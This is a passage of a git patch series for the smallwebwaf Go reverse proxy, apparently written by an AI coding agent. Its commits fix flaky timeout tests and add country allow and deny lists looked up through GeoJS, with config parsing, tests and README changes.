so the test was wrong to expect 408 every time. The app in those cases now records whether it received any of the body. Once the app has finished with the request, the case expects 408 and its log line if it did, and 504 and its log line if not. Model: opus-5-5 --- internal/proxy/timeouts_test.go | 37 ++++++++++++++++++++++++--------- 1 file changed, 27 insertions(+), 10 deletions(-) diff --git a/internal/proxy/timeouts_test.go b/internal/proxy/timeouts_test.go index e964d57..8a78a2b 100644 --- a/internal/proxy/timeouts_test.go +++ b/internal/proxy/timeouts_test.go @@ -5,8 +5,10 @@ import ( "io" "net" "net/http" + "net/http/httptest" "strconv" "sync" + "sync/atomic" "testing" "time" @@ -66,32 +68,47 @@ func TestRequestTimeouts(t *testing.T) { t.Parallel() var ( + app *httptest.Server appURL string sendRequest func(*testing.T, string) net.Conn + appGotBody atomic.Bool ) if tc.appTakesNothing { appURL, sendRequest = startAppThatTakesNothing(t), sendLargeBody } else { - appURL, sendRequest = startApp(t, readBody).URL, sendPartOfBody + app = startApp(t, func(_ http.ResponseWriter, r *http.Request) { + n, _ := io.Copy(io.Discard, r.Body) + appGotBody.Store(n > 0) + }) + appURL, sendRequest = app.URL, sendPartOfBody } addr, out := startProxy(t, appURL, tc.env) start := time.Now() - conn := sendRequest(t, addr) - - wantStatus(t, readResponse(t, conn), tc.want) + got := readResponse(t, sendRequest(t, addr)) wantTimedOut(t, start) - wantLine(t, out.requestLine(t), tc.want, requestlog.ActionTimedOut) + + want := tc.want + + if app != nil { + // Close returns once the app has finished with the request. + app.Close() + + // Until some of the body has reached the app, smallwebwaf + // waits on the app, and SPEC.md asks for 504; the timeout + // runs out then only if the test process is held up. + if !appGotBody.Load() { + want = http.StatusGatewayTimeout + } + } + + wantStatus(t, got, want) + wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut) }) } } -// readBody is an app that reads the request body, then answers. -func readBody(_ http.ResponseWriter, r *http.Request) { - _, _ = io.Copy(io.Discard, r.Body) -} - // startAppThatTakesNothing starts an app that accepts connections and // never reads from them, and returns its URL. func startAppThatTakesNothing(t *testing.T) string { From d730fcb57d3c37a8c4522d38ba6fe497ddd3b4c6 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 06:39:07 +0200 Subject: [PATCH 08/64] Point the unreachable-app test at port 1 (closes #51) TestAnswers502WhenTheAppCannotBeReached closed a listener and pointed smallwebwaf at its port, which another test running in parallel could open in between, so the test sometimes got that server's answer instead of a 502. It now uses 127.0.0.1:1: nothing listens there, and a test listening on port 0 is always given a port from 32768 up, so no test can take it. No other test reuses a closed listener's port. Model: opus-5-5 --- internal/proxy/passthrough_test.go | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go index 66caee7..c788d1f 100644 --- a/internal/proxy/passthrough_test.go +++ b/internal/proxy/passthrough_test.go @@ -5,7 +5,6 @@ import ( "bytes" "errors" "io" - "net" "net/http" "slices" "strings" @@ -354,15 +353,8 @@ func TestRefusesHeadersOver32KiB(t *testing.T) { func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) { t.Parallel() - listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") - if err != nil { - t.Fatalf("listen: %v", err) - } - - closedAddr := listener.Addr().String() - _ = listener.Close() - - addr, out := startProxy(t, "http://"+closedAddr, nil) + // No test can listen on port 1: listening on port 0 gets one from 32768 up. + addr, out := startProxy(t, "http://"+localhost+":1", nil) wantStatus(t, get(t, addr, "/"), http.StatusBadGateway) wantLine(t, out.requestLine(t), http.StatusBadGateway, From 6977ff73dfc9bf372512fcf8727115b3bb74d0b9 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 07:53:18 +0200 Subject: [PATCH 09/64] Proxy timing tests outlast a hold-up of the test process (closes #53) smallwebwaf starts each timeout as the request arrives, before the step a test needs first: the upgrade answered, the app's buffers full, the first part of an answer passed on. A hold-up of the test process longer than the 300 ms timeout ran it out before that step. No test can make that step come first, and in the "waiting on the app" cases it cannot see which side smallwebwaf was waiting on, so the timeout is now 5 s, the hold-up wantTimedOut already allows. The timeout tests set when it must not run out goes from 10 s to 1 m to stay clear of it. The upgrade test waits 7.5 s past the upgrade. Judgement call: one shared value; the proxy tests take about 8 s, not 2 s. Model: opus-5-5 --- internal/proxy/passthrough_test.go | 5 +++-- internal/proxy/proxy_test.go | 10 +++++++--- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go index c788d1f..8f644bb 100644 --- a/internal/proxy/passthrough_test.go +++ b/internal/proxy/passthrough_test.go @@ -246,8 +246,9 @@ func TestUpgradedConnectionOutlastsTheTimeouts(t *testing.T) { t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols) } - // Wait past every timeout, then use the connection. - time.Sleep(3 * shortTimeout) + // Every timeout started before the upgrade was answered: wait past + // them all, then use the connection. + time.Sleep(3 * shortTimeout / 2) send(t, conn, "still here\n") echoed, err := reader.ReadString('\n') diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 7b4ebab..c6aefe1 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -21,11 +21,15 @@ import ( const ( // shortTimeout is what a test sets a timeout to, to see it run out. - shortTimeout = 300 * time.Millisecond + // It starts before the test has set up its case, such as an upgrade + // or the app's buffers filling, so it is as long as the hold-up of the + // test process that wantTimedOut allows, waitLimit/2: a shorter one + // can run out first on a busy host. + shortTimeout = 5 * time.Second // shortTimeoutSetting is shortTimeout as a setting's value. - shortTimeoutSetting = "300ms" + shortTimeoutSetting = "5s" // longTimeoutSetting is a timeout that does not run out in a test. - longTimeoutSetting = "10s" + longTimeoutSetting = "1m" // waitLimit bounds how long a test waits for what should happen. waitLimit = 10 * time.Second // pollInterval is how often a test looks for a log line. From 0750879e582193e6922604f58c92c9cea09f91eb Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 08:29:41 +0200 Subject: [PATCH 10/64] Country allow and deny lists, looked up through GeoJS (closes #44) SWWAF_DENIED_COUNTRIES and SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES refuse a request with 403 before its body is read or rate-limited, logged as country_denied. internal/lookup asks GeoJS only while a list is set, 200 clients per request, one at a time, keeping answers 7 days. Failures, a redirect or an answer leaving an address out included, are logged without addresses; GeoJS is then left alone a second, doubling to five minutes. Private, loopback and link-local clients are never sent. Deviation, per the issue: no SWWAF_LOOKUP_SOURCE or SWWAF_LOOKUP_TIMEOUT; 403, not SWWAF_BAN_RESPONSE. Deviation: GeoJS's country endpoint, not geo.json. Judgement call: an IPv6 /64 is asked about by its first address; at most 10,000 clients wait. Judgement call: config.go lists the ISO 3166-1 codes; no widely used library holds them. Model: opus-5-5 --- README.md | 134 ++++-- internal/config/config.go | 85 ++++ internal/config/config_test.go | 48 ++ internal/lookup/lookup.go | 385 ++++++++++++++++ internal/lookup/lookup_test.go | 553 +++++++++++++++++++++++ internal/proxy/countries.go | 41 ++ internal/proxy/countries_test.go | 267 +++++++++++ internal/proxy/proxy.go | 12 +- internal/proxy/proxy_test.go | 13 + internal/proxy/request.go | 15 +- internal/requestlog/requestlog.go | 3 + internal/smallwebwaf/smallwebwaf.go | 2 + internal/smallwebwaf/smallwebwaf_test.go | 26 +- 13 files changed, 1521 insertions(+), 63 deletions(-) create mode 100644 internal/lookup/lookup.go create mode 100644 internal/lookup/lookup_test.go create mode 100644 internal/proxy/countries.go create mode 100644 internal/proxy/countries_test.go diff --git a/README.md b/README.md index 593e3f5..0b41fd2 100644 --- a/README.md +++ b/README.md @@ -12,15 +12,15 @@ state in memory and in JSON files you can read and edit, and writes a detailed JSON log line for every request. Status: the first milestone is built -(https://git.eeqj.de/sneak/smallwebwaf/issues/13), and the rate limits of the -second (https://git.eeqj.de/sneak/smallwebwaf/issues/14). `smallwebwaf` passes -each request to the app and the app's answer back, unchanged, within its -timeouts and size limits, works out each client's address, refuses a client that -sends too many requests, and writes a JSON log line for every request. The -country lists and the image an app builds on come with the rest of milestone 2, -and the rest of the design after that, in the order of the build order in -[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in -[`EVALUATION.md`](EVALUATION.md). +(https://git.eeqj.de/sneak/smallwebwaf/issues/13), and the rate limits and +country lists of the second (https://git.eeqj.de/sneak/smallwebwaf/issues/14). +`smallwebwaf` passes each request to the app and the app's answer back, +unchanged, within its timeouts and size limits, works out each client's address, +refuses a client that sends too many requests or comes from a country you +refuse, and writes a JSON log line for every request. The image an app builds on +comes with the rest of milestone 2, and the rest of the design after that, in +the order of the build order in [`SPEC.md`](SPEC.md). The survey of existing +tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -72,6 +72,13 @@ gives those in progress five seconds to finish. much of it the window still covers. At most 20,000 clients are kept, the least recently seen dropped first, and only in memory: a restart starts every client afresh. +- Refuses a request from a country you refuse with `403`, as soon as the + client's country is known and before its body is read; such a request is not + counted for the rate limits. While one of the country lists below is set, each + client's country is looked up through GeoJS (see "Country and AS number + lookup" below); with neither set, no visitor's address leaves the host. A + client on a private, loopback or link-local address has no country, and + neither list checks it. - Writes a line in the request log for each request (see "Request log" below). ## Settings @@ -102,20 +109,30 @@ it, and the effective settings are logged at start. requests a client may make in a minute, an hour and a day. The defaults are several times what one busy person produces, since a browser loading a heavy page makes a few hundred requests and several people often share one address. +- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused, + for example `cn,ru,kp`. +- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only + countries whose clients get through, for example `us,de`. A client whose + country cannot be found is refused too, so that new clients are not let in + whenever GeoJS stops answering. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 bytes). Rate limits are whole numbers of requests. Netblocks are in CIDR form, -and a bare address stands for itself alone. `off` switches a timeout, a size -limit or a rate limit off. +and a bare address stands for itself alone. Countries are the two-letter codes +ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are +the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn +`su`, stops the start, and so does a code on both country lists. `off` switches +a timeout, a size limit or a rate limit off. -Four limits are fixed rather than settings. The request line and headers may +Several limits are fixed rather than settings. The request line and headers may take up to 32 KiB, above which the answer is `431` and nothing reaches the app. A kept-open connection that sends nothing for 120 seconds is closed. That is longer than the 90 seconds after which traefik closes a connection it is not using, so traefik never sends a request on a connection `smallwebwaf` is closing. At most 20,000 clients are kept for the rate limits, and an IPv6 client -is counted by its /64. +is counted by its /64. A new client waits at most a second for its country, and +at most 100,000 answers from GeoJS are kept, for 7 days each. ## Request log @@ -123,18 +140,23 @@ is counted by its /64. refused ones included: ``` -{"type":"request","time":"2026-10-03T12:00:00.123Z","client_ip":"203.0.113.9","peer_ip":"172.18.0.2","method":"GET","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"upstream_status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","action":"forward","duration_total":3.217,"duration_upstream_total":3.104} +{"type":"request","time":"2026-10-03T12:00:00.123Z","client_ip":"203.0.113.9","peer_ip":"172.18.0.2","country":"DE","method":"GET","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"upstream_status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","action":"forward","duration_total":3.217,"duration_upstream_total":3.104} ``` - `time` is when the request arrived, in UTC. `peer_ip` is the TCP peer, normally traefik. `path` and `query` are as the client sent them. +- `country` is the client's country as GeoJS places it, and empty when it is not + known: with neither country list set, for a client on a private, loopback or + link-local address, and when GeoJS cannot place the client or has not answered + in time. - `status` is what the client was sent, `0` if nothing was; `upstream_status` is what the app answered, and is left out when the app did not answer. - `request_bytes` and `response_bytes` count body bytes. -- `action` is `forward` for a request passed to the app, `rate_limited` for one - refused for a rate limit, `too_large` for a request or response over its size - limit, `timed_out` for one that ran out of time, and `upstream_error` when the - app could not be reached or its answer broke off. +- `action` is `forward` for a request passed to the app, `country_denied` for + one refused for its client's country, `rate_limited` for one refused for a + rate limit, `too_large` for a request or response over its size limit, + `timed_out` for one that ran out of time, and `upstream_error` when the app + could not be reached or its answer broke off. - `limit_hit` is there for a request refused for a rate limit, and names the window whose limit it went over: `minute`, `hour` or `day`, the shortest if it went over several. @@ -367,34 +389,49 @@ the metrics, failure behaviour and the build order. ## Country and AS number lookup -`smallwebwaf` looks up the AS number and country of every client, for the -request log, the metrics and the ban notes, and for the country lists and biased -limits when you set them. It works with no setup: by default it asks the free -GeoJS web service, which needs no account and no file. This means that, by -default, the address of every new visitor is sent to GeoJS. Each answer is kept -in memory for seven days, and many addresses are asked about in one request; -writing the answers to disk, so that they survive a restart, comes in milestone -3 or later (see the build order in [`SPEC.md`](SPEC.md)). GeoJS publishes no -rate limit but may block a caller it thinks asks too much; while it is not -answering, new visitors count as coming from an unknown country, which +So far `smallwebwaf` looks up only the country, only through GeoJS, and only +while `SWWAF_DENIED_COUNTRIES` or `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set: +then the address of every new visitor is sent to GeoJS, and with neither set, +none is. An IPv6 visitor is asked about by the first address of its /64. A new +visitor waits at most a second for its answer, and without one counts as coming +from an unknown country until the answer arrives. The addresses waiting are +asked about together, up to 200 in one request, one request at a time; at most +10,000 visitors wait, and one more counts as coming from an unknown country +until there is room. While GeoJS fails, visitors with a kept answer are +unaffected and new ones count as coming from an unknown country. GeoJS is then +left alone for a second, twice as long after each further failure up to five +minutes, and asked again by the next request that needs it. + +In the full design, `smallwebwaf` looks up the AS number and country of every +client, for the request log, the metrics and the ban notes, and for the country +lists and biased limits when you set them. It works with no setup: by default it +asks the free GeoJS web service, which needs no account and no file. This means +that, by default, the address of every new visitor is sent to GeoJS. Each answer +is kept in memory for seven days, and many addresses are asked about in one +request; writing the answers to disk, so that they survive a restart, comes in +milestone 3 or later (see the build order in [`SPEC.md`](SPEC.md)). GeoJS +publishes no rate limit but may block a caller it thinks asks too much; while it +is not answering, new visitors count as coming from an unknown country, which `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses. To keep your visitors' addresses on your own host, set `SWWAF_LOOKUP_SOURCE=off`, or use the database file instead of GeoJS: `SWWAF_LOOKUP_SOURCE=file` reads the free IPinfo Lite database -(`ipinfo_lite.mmdb`). You download it with your own IPinfo account, mount the -directory that holds it into the container, point `SWWAF_LOOKUP_DB_PATH` at the -file and refresh it when you choose; `smallwebwaf` never downloads it itself, -and reads it again when you replace it. It has to be the directory rather than -the file itself: docker does not show a single mounted file being replaced, so a -refresh would go unseen. IPinfo releases it under the Creative Commons -Attribution-ShareAlike 4.0 International License and asks for attribution, in -its own words on https://ipinfo.io/lite: "The attribution requirements can be -met by giving our service credit as your data source. Simply place a link to -IPinfo on the website, application, or social media account that uses our data." -Its example of such a credit is a link mentioning "IP address data is powered by -IPinfo". A service that uses the database through `smallwebwaf` should carry -that link. +(`ipinfo_lite.mmdb`). `SWWAF_LOOKUP_SOURCE` comes in milestone 3 or later (see +the build order in [`SPEC.md`](SPEC.md)); until then GeoJS is asked only while a +country list is set. You download the database with your own IPinfo account, +mount the directory that holds it into the container, point +`SWWAF_LOOKUP_DB_PATH` at the file and refresh it when you choose; `smallwebwaf` +never downloads it itself, and reads it again when you replace it. It has to be +the directory rather than the file itself: docker does not show a single mounted +file being replaced, so a refresh would go unseen. IPinfo releases it under the +Creative Commons Attribution-ShareAlike 4.0 International License and asks for +attribution, in its own words on https://ipinfo.io/lite: "The attribution +requirements can be met by giving our service credit as your data source. Simply +place a link to IPinfo on the website, application, or social media account that +uses our data." Its example of such a credit is a link mentioning "IP address +data is powered by IPinfo". A service that uses the database through +`smallwebwaf` should carry that link. Neither source can place a private address, so a client on one, such as a visitor on your local network, another container or your monitoring, has no @@ -413,16 +450,18 @@ refusal comes with `SWWAF_ALLOW_NETS` in milestone 3 or later. the checks, passes the request to the app and the answer back with the standard library's `httputil.ReverseProxy` within the timeouts and size limits, and writes the request's log line. Its `check` method is where a - request is refused before anything reaches the app: for a rate limit, for an - announced body over the size limit, and, with the rest of milestone 2, for the - country lists. + request is refused before anything reaches the app: for the country lists, for + a rate limit, and for an announced body over the size limit. +- `internal/lookup`: looks up each client's country through GeoJS, and keeps the + answers. - `internal/ratelimit`: counts each client's requests and tells when one takes it over a rate limit. - `internal/requestlog`: the lines on stdout: the request log line and the process's own messages. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the -table of clients to 20,000, dropping the least recently seen. +table of clients to 20,000 and the GeoJS answers to 100,000, dropping the least +recently seen. The country codes are the list in `internal/config/config.go`. ## Entrypoints @@ -456,8 +495,9 @@ so that they run in minimal containers. ## TODO -- Milestone 2: the country lists and the image an app builds on - (https://git.eeqj.de/sneak/smallwebwaf/issues/14); its rate limits are built. +- Milestone 2: the image an app builds on + (https://git.eeqj.de/sneak/smallwebwaf/issues/14); its rate limits and country + lists are built. - The rest of the design, in the order of the build order in [`SPEC.md`](SPEC.md). diff --git a/internal/config/config.go b/internal/config/config.go index 703aa18..2dda27e 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -11,6 +11,7 @@ import ( "net" "net/netip" "net/url" + "slices" "strconv" "strings" "time" @@ -51,6 +52,13 @@ type Config struct { RateLimitPerMinute int64 RateLimitPerHour int64 RateLimitPerDay int64 + // DeniedCountries are the countries whose clients are refused + // (SWWAF_DENIED_COUNTRIES). ExclusivelyAllowedCountries, when not + // empty, are the only countries whose clients are let through + // (SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES). Both hold two-letter codes in + // capitals, as GeoJS gives them. + DeniedCountries []string + ExclusivelyAllowedCountries []string // settings are the values read, as given or by default, for the // log line at start. @@ -84,6 +92,9 @@ var ( errNotUpstreamURL = errors.New( "is not a URL with only a scheme, a host and an optional port, " + "such as http://127.0.0.1:8081") + errNotCountry = errors.New( + "is not a two-letter country code such as de or kp") + errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -104,6 +115,16 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { RateLimitPerMinute: env.count("SWWAF_RATE_LIMIT_PER_MINUTE", "1000"), RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "10000"), RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "50000"), + DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""), + ExclusivelyAllowedCountries: env.countries( + "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), + } + + for _, country := range cfg.ExclusivelyAllowedCountries { + if slices.Contains(cfg.DeniedCountries, country) { + env.check("SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", + fmt.Errorf("%q %w", country, errOnBothLists)) + } } if env.err != nil { @@ -201,6 +222,14 @@ func (e *environment) count(name, defaultValue string) int64 { return count } +// countries reads a setting that is a list of countries. +func (e *environment) countries(name, defaultValue string) []string { + countries, err := parseCountries(e.value(name, defaultValue)) + e.check(name, err) + + return countries +} + // parseDuration reads a duration in Go's syntax, such as 90s or 15m, a // whole number of days such as 7d, or off. func parseDuration(value string) (time.Duration, error) { @@ -348,6 +377,62 @@ func parseNetblock(value string) (netip.Prefix, error) { return netip.PrefixFrom(addr, addr.BitLen()), nil } +// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK, +// the code in common use for Kosovo. golang.org/x/text/language cannot +// check them: it also takes withdrawn codes such as su, and reserved ones +// such as ac, as countries. +const countryCodes = ` +AD AE AF AG AI AL AM AO AQ AR AS AT AU AW AX AZ +BA BB BD BE BF BG BH BI BJ BL BM BN BO BQ BR BS BT BV BW BY BZ +CA CC CD CF CG CH CI CK CL CM CN CO CR CU CV CW CX CY CZ +DE DJ DK DM DO DZ +EC EE EG EH ER ES ET +FI FJ FK FM FO FR +GA GB GD GE GF GG GH GI GL GM GN GP GQ GR GS GT GU GW GY +HK HM HN HR HT HU +ID IE IL IM IN IO IQ IR IS IT +JE JM JO JP +KE KG KH KI KM KN KP KR KW KY KZ +LA LB LC LI LK LR LS LT LU LV LY +MA MC MD ME MF MG MH MK ML MM MN MO MP MQ MR MS MT MU MV MW MX MY MZ +NA NC NE NF NG NI NL NO NP NR NU NZ +OM +PA PE PF PG PH PK PL PM PN PR PS PT PW PY +QA +RE RO RS RU RW +SA SB SC SD SE SG SH SI SJ SK SL SM SN SO SR SS ST SV SX SY SZ +TC TD TF TG TH TJ TK TL TM TN TO TR TT TV TW TZ +UA UG UM US UY UZ +VA VC VE VG VI VN VU +WF WS +XK +YE YT +ZA ZM ZW +` + +// parseCountries reads a comma-separated list of country codes in either +// case, and returns them in capitals. +func parseCountries(value string) ([]string, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + known := strings.Fields(countryCodes) + countries := make([]string, 0, len(items)) + + for _, item := range items { + country := strings.ToUpper(item) + if !slices.Contains(known, country) { + return nil, fmt.Errorf("%q %w", item, errNotCountry) + } + + countries = append(countries, country) + } + + return countries, nil +} + // parseListenAddr checks an address to listen on: an optional host and a // port number. func parseListenAddr(value string) (string, error) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 83a910b..2d129e3 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -28,6 +28,8 @@ const ( rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" + deniedCountries = "SWWAF_DENIED_COUNTRIES" + allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" ) // off switches a timeout, a size limit or a rate limit off. @@ -79,6 +81,8 @@ func TestDefaults(t *testing.T) { wantNetblocks(t, cfg.TrustedProxies, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") + wantCountries(t, deniedCountries, cfg.DeniedCountries) + wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries) } func TestValuesAsSet(t *testing.T) { @@ -97,6 +101,8 @@ func TestValuesAsSet(t *testing.T) { rateLimitPerMinute: "60", rateLimitPerHour: "600", rateLimitPerDay: "6000", + deniedCountries: "cn, RU,kp,Xk", + allowedCountries: "de", }) wantSettings(t, cfg, config.Config{ @@ -117,6 +123,25 @@ func TestValuesAsSet(t *testing.T) { } wantNetblocks(t, cfg.TrustedProxies, "192.0.2.1/32", "10.0.0.0/8", "2001:db8::/32") + wantCountries(t, deniedCountries, cfg.DeniedCountries, "CN", "RU", "KP", "XK") + wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") +} + +func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{ + deniedCountries: "cn,ru", + allowedCountries: "de,RU", + }.lookupEnv) + if err == nil { + t.Fatal("ru on both country lists was accepted") + } + + if !strings.HasPrefix(err.Error(), allowedCountries+": ") || + !strings.Contains(err.Error(), `"RU"`) { + t.Errorf("error %q does not name %s and RU", err, allowedCountries) + } } func TestSizesAndOff(t *testing.T) { @@ -198,6 +223,18 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {rateLimitPerHour, "1.5"}, {rateLimitPerDay, "-1"}, {rateLimitPerDay, "lots"}, + {deniedCountries, "nk"}, + {deniedCountries, "kp,,ir"}, + {deniedCountries, "prk"}, + {deniedCountries, "408"}, + {deniedCountries, "k"}, + {deniedCountries, "eu"}, + {deniedCountries, "un"}, + {deniedCountries, "su"}, + {allowedCountries, "ac"}, + {allowedCountries, "uk"}, + {allowedCountries, "zz"}, + {allowedCountries, "de,germany"}, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() @@ -245,6 +282,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { rateLimitPerMinute: "1000", rateLimitPerHour: "10000", rateLimitPerDay: "50000", + deniedCountries: "", + allowedCountries: "", } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) @@ -282,3 +321,12 @@ func wantNetblocks(t *testing.T, got []netip.Prefix, want ...string) { t.Errorf("netblocks %v, want %v", gotText, want) } } + +// wantCountries checks the list of countries the setting name gave. +func wantCountries(t *testing.T, name string, got []string, want ...string) { + t.Helper() + + if !slices.Equal(got, want) { + t.Errorf("%s gave %v, want %v", name, got, want) + } +} diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go new file mode 100644 index 0000000..145df17 --- /dev/null +++ b/internal/lookup/lookup.go @@ -0,0 +1,385 @@ +// Package lookup looks up each client's country through the GeoJS web +// service, and keeps the answers in memory, for at most 100,000 clients +// and for 7 days each. +package lookup + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + "log/slog" + "net/http" + "net/netip" + "strings" + "sync" + "time" + + "github.com/hashicorp/golang-lru/v2/simplelru" +) + +// URL is GeoJS's country endpoint. Asked about several addresses at once, +// comma separated in its ip parameter, it answers with a list. +const URL = "https://get.geojs.io/v1/ip/country.json" + +const ( + // keepFor is how long an answer is used instead of asking GeoJS again. + keepFor = 7 * 24 * time.Hour + // maxAnswers is how many answers are kept. Past it, the one used + // longest ago is dropped. + maxAnswers = 100000 + // maxWaiting is how many clients may wait to be asked about. Past it, + // a new client counts as not found and is not asked about until there + // is room, so that a swarm of new addresses while GeoJS is down cannot + // fill the memory. + maxWaiting = 10000 + // maxPerRequest is how many addresses one request to GeoJS asks about. + maxPerRequest = 200 + // timeout is how long a new client waits for its answer, and how long + // a request to GeoJS may take before it is abandoned. + timeout = time.Second + // After a failure GeoJS is not asked again for a second, and for + // retryDelayFactor times as long after each further failure in a row, + // up to five minutes. + firstRetryDelay = time.Second + retryDelayFactor = 2 + maxRetryDelay = 5 * time.Minute + // maxResponseBytes is the most of GeoJS's answer that is read. + maxResponseBytes = 1 << 20 +) + +var ( + errStatus = errors.New("GeoJS answered") + errLeftOut = errors.New("GeoJS's answer left out") +) + +// Params are what New needs. +type Params struct { + // URL is where GeoJS is asked, normally URL. + URL string + // Now tells the time, normally time.Now. + Now func() time.Time + // ProcessLog receives GeoJS's failures. + ProcessLog *slog.Logger +} + +// GeoJS looks up clients' countries through GeoJS. At most one request +// to GeoJS is under way at a time, and it asks about every client waiting, +// up to maxPerRequest. It is safe for concurrent use. +type GeoJS struct { + url string + now func() time.Time + processLog *slog.Logger + // httpClient follows no redirect, so that visitors' addresses go to + // GeoJS alone: a redirect is a failure. + httpClient *http.Client + + mu sync.Mutex + answers *simplelru.LRU[netip.Prefix, answer] + // waiting are the clients without an answer: those to ask GeoJS about, + // and those it is being asked about. + waiting map[netip.Prefix]*wait + // asking is true while a request to GeoJS is under way. + asking bool + // retryDelay is how long GeoJS is left alone after its last failure, + // zero after an answer; retryAt is when it may be asked again. + retryDelay time.Duration + retryAt time.Time +} + +// answer is what GeoJS said about a client: its country, "" when GeoJS +// cannot place it, and when GeoJS said so. +type answer struct { + country string + received time.Time +} + +// wait is a client waiting for its answer. +type wait struct { + // asked is closed when the client gets its answer, and closed and + // replaced each time GeoJS fails before then. + asked chan struct{} + // late is true once the client has gone without an answer, for a + // whole timeout or because GeoJS failed: its requests no longer wait. + late bool +} + +// New returns a GeoJS with no answer kept yet. +func New(params Params) *GeoJS { + answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil) + if err != nil { + panic(err) // NewLRU fails only for a size below one + } + + return &GeoJS{ + url: params.URL, + now: params.Now, + processLog: params.ProcessLog, + httpClient: &http.Client{ + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, + }, + answers: answers, + waiting: map[netip.Prefix]*wait{}, + } +} + +// Country returns the country GeoJS places client in, as a two-letter +// code in capitals, or "" when the country cannot be found: GeoJS cannot +// place the client, or has not answered in time. An answer is kept for 7 +// days. Without one, a client waits up to timeout for it, unless it has +// gone without one before; until GeoJS answers, the client is asked about +// again in the background. ctx is the context of the client's request, +// and ends the wait when it ends. +// +// GeoJS is asked about the client's first address, which is the client's +// own address for IPv4, and an address in the same place for an IPv6 /64. +func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string { + country, asked := g.answerOrWait(ctx, client) + if asked == nil { + return country + } + + timer := time.NewTimer(timeout) + defer timer.Stop() + + select { + case <-asked: + case <-timer.C: + case <-ctx.Done(): + } + + g.mu.Lock() + defer g.mu.Unlock() + + country, found := g.kept(client) + + w, waiting := g.waiting[client] + if !found && waiting { + w.late = true + } + + return country +} + +// answerOrWait returns client's kept answer if it has one. Otherwise it +// puts the client among those waiting if there is room, has GeoJS asked +// about them if it can be, and returns what to wait on for the answer, or +// nil when there is nothing to wait for. +func (g *GeoJS) answerOrWait( + ctx context.Context, client netip.Prefix, +) (string, <-chan struct{}) { + g.mu.Lock() + defer g.mu.Unlock() + + country, found := g.kept(client) + if found { + return country, nil + } + + w, waiting := g.waiting[client] + if !waiting && len(g.waiting) < maxWaiting { + w = &wait{asked: make(chan struct{})} + g.waiting[client] = w + } + + g.ask(ctx) + + if w == nil { + return "", nil // too many clients wait already + } + + if !g.asking { + // GeoJS is left alone after a failure, so no answer can come. + w.late = true + } + + if w.late { + return "", nil + } + + return "", w.asked +} + +// kept returns client's answer, if one was received less than keepFor +// ago. +func (g *GeoJS) kept(client netip.Prefix) (string, bool) { + kept, found := g.answers.Get(client) + if !found || g.now().Sub(kept.received) >= keepFor { + return "", false + } + + return 